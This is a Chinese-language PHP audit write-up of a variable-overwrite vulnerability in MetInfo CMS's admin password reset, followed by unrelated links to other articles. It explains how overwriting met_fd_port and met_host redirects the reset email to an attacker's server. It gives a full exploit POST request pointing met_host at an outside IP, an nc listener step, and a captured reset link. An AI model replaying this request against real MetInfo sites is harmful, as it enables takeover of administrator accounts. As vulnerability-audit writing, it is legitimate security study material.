PHP审计-实战变量覆盖漏洞

简介: PHP审计-实战变量覆盖漏洞

/include/common.inc.php

下面代码 用以将传入的cookie、get、post参数进行变量赋值

密码重置

MetInfo有管理员密码重置的功能,此功能由于变量覆盖导致可以获取密码重置链接。

640.png

密码文件

admin/admin/getpassword.php

switch语句开始是密码找回的逻辑控制语句

第一步选择密码找回的方式,默认是邮件找回,然后第二步,主要从92行开始执行,前面一大段是拼接数据包的语句,从第143行开始发送邮件


如果jmailsend函数发送失败则进入下面的if语句使用curl_post发送,进入curl_post函数

include/export.func.php

$post是未能成功发送的邮件内容,然后根据$met_host指定的地址将邮件内容发送过去,$met_host 在程序的值指定为app.metinfo.cn,应该是metinfo官方设置的邮件转发服务器,当站长自身设置的邮件服务器不起作用时先将邮件内容通过http请求发送此服务器,再由此服务器发送密码重置邮件。但是这个$met_host的值由于变量覆盖的原因导致可以被任意设置,可以将密码重置邮件的内容发送到我们指定的服务器。

前提是jmailsend发送失败,这里再来看一下jmailsend函数,在文件/include/jmail.php中。

640.png

目的是使这个函数返回False,这里同样使用变量覆盖的方式加以利用,可以看到根据$met_fd_port指定的端口发送邮件,这里如果将这个变量覆盖掉将导致邮件发送失败。首先在服务器上设置监听端口,curl_post默认80端口

640.png

抓包

POST /Metinfo/admin/admin/getpassword.php HTTP/1.1
Host: 192.168.5.22
Content-Length: 84
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.5.22
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36 FS
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.5.22/Metinfo/admin/admin/getpassword.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=96tlnqee9e5cs5b56m7r80g1n5; recordurl=%2Chttp%253A%252F%252F192.168.5.22%252FMetinfo%252F%2Chttp%253A%252F%252F192.168.5.22%252FMetinfo%252Fproduct%252Fshowproduct.php%253Flang%253Dcn%2526id%253D13%2Chttp%253A%252F%252F192.168.5.22%252FMetinfo%252F%2Chttp%253A%252F%252F192.168.5.22%252FMetinfo%252Fdownload%252Fdownload.php%253Flang%253Dcn%2526class2%253D35%2Chttp%253A%252F%252F192.168.5.22%252FMetinfo%252Fabout%252Fshow.php%253Flang%253Dcn%2526id%253D19%2Chttp%253A%252F%252F192.168.5.22%252FMetinfo%252F
Connection: close
action=next2&abt_type=2&admin_mobile=123%40qq.com&submit=%E4%B8%8B%E4%B8%80%E6%AD%A5&met_fd_port=400&met_host=120.25.205.228

vps开启nc监听80端口

http://192.168.5.22/Metinfo/admin/admin/getpassword.php?p=049dasw1rDxmWjwtuI80IOc%2BHW5WazEtXovdX58kVCfXwwwoJY6x3cB7%2BOdSJvaDy2P17ELfwCu2lcQE1bjctzmvvA

相关文章
|
3月前
|
存储 API PHP
|
4月前
|
存储 关系型数据库 MySQL
深入浅出PHP:从基础到实战
【9月更文挑战第20天】本文将带你走进PHP的世界,从最基础的语法开始,逐步深入到实战应用。我们将通过实例讲解PHP的核心概念,如变量、控制结构、函数等,然后介绍如何使用PHP进行数据库操作和文件处理。最后,我们将展示如何用PHP构建一个简单的博客系统,让你在实践中掌握PHP的应用。无论你是编程新手,还是有一定经验的开发者,都能在这篇文章中找到有价值的信息。让我们一起探索PHP的魅力吧!
|
1月前
|
SQL 安全 PHP
PHP安全性实践:防范常见漏洞与攻击####
本文深入探讨了PHP编程中常见的安全漏洞及其防范措施,包括SQL注入、XSS跨站脚本攻击、CSRF跨站请求伪造等。通过实际案例分析,揭示了这些漏洞的危害性,并提供了具体的代码示例和最佳实践建议,帮助开发者提升PHP应用的安全性。 ####
67 6
|
2月前
|
编译器 PHP 开发者
PHP 8新特性解析与实战应用####
随着PHP 8的发布,这一经典编程语言迎来了诸多令人瞩目的新特性和性能优化。本文将深入探讨PHP 8中的几个关键新功能,包括命名参数、JIT编译器、新的字符串处理函数以及错误处理改进等。通过实际代码示例,展示如何在现有项目中有效利用这些新特性来提升代码的可读性、维护性和执行效率。无论你是PHP新手还是经验丰富的开发者,本文都将为你提供实用的技术洞察和最佳实践指导。 ####
36 1
|
2月前
|
SQL 安全 PHP
PHP安全性深度剖析:防范常见漏洞与最佳实践####
本文深入探讨了PHP编程中不可忽视的安全隐患,重点介绍了SQL注入、XSS攻击、CSRF攻击及文件包含漏洞等四大常见安全威胁。通过详尽的案例分析与防御策略阐述,为开发者提供了一套实用的安全编码指南。文章强调,提升代码安全性是保障Web应用稳健运行的关键,鼓励开发者在日常开发中积极践行安全最佳实践。 ####
|
2月前
|
自然语言处理 安全 PHP
深入浅出PHP编程:从基础到实战
【10月更文挑战第36天】本文将带你走进PHP的奇妙世界,无论你是初学者还是有一定经验的开发者,都将从中获益。文章首先介绍PHP的基础概念和语法,然后通过实际代码示例,展示如何利用PHP进行高效的Web开发。最后,我们将探讨一些高级主题,如面向对象编程、数据库操作以及安全性问题。让我们一起开启PHP的学习之旅吧!
|
2月前
|
存储 Serverless PHP
PHP编程入门:从基础到实战
【10月更文挑战第35天】本文将带你走进PHP的世界,从最基本的语法开始,逐步深入到实际应用。我们将通过简单易懂的语言和实际代码示例,让你快速掌握PHP编程的基础知识。无论你是初学者还是有一定经验的开发者,都能在这篇文章中找到你需要的内容。让我们一起探索PHP的魅力吧!
|
1月前
|
SQL 安全 PHP
PHP安全性深度探索:防范常见漏洞与最佳实践####
本文深入剖析了PHP开发中常见的安全漏洞,包括SQL注入、XSS攻击、CSRF攻击及文件包含漏洞等,并针对每种漏洞提供了详尽的防御策略与最佳实践。通过实例分析,引导读者理解如何构建更加安全的PHP应用,确保数据完整性与用户隐私保护。 ####
|
2月前
|
前端开发 中间件 PHP
PHP框架深度解析:Laravel的魔力与实战应用####
【10月更文挑战第31天】 本文作为一篇技术深度好文,旨在揭开PHP领域璀璨明星——Laravel框架的神秘面纱。不同于常规摘要的概括性介绍,本文将直接以一段引人入胜的技术剖析开场,随后通过具体代码示例和实战案例,逐步引导读者领略Laravel在简化开发流程、提升代码质量及促进团队协作方面的卓越能力。无论你是PHP初学者渴望深入了解现代开发范式,还是经验丰富的开发者寻求优化项目架构的灵感,本文都将为你提供宝贵的见解与实践指导。 ####
|
2月前
|
存储 Java PHP
PHP编程之旅:从基础到实战
【10月更文挑战第23天】本文将带你走进PHP的世界,探索这个流行的服务器端脚本语言的魅力。无论你是编程新手还是有一定经验的开发者,这篇文章都将为你提供有价值的信息和实用的代码示例。我们将从PHP的基本概念开始,然后深入到实际应用中,最后通过一个实战项目来巩固所学知识。让我们一起开启这段激动人心的PHP编程之旅吧!
29 0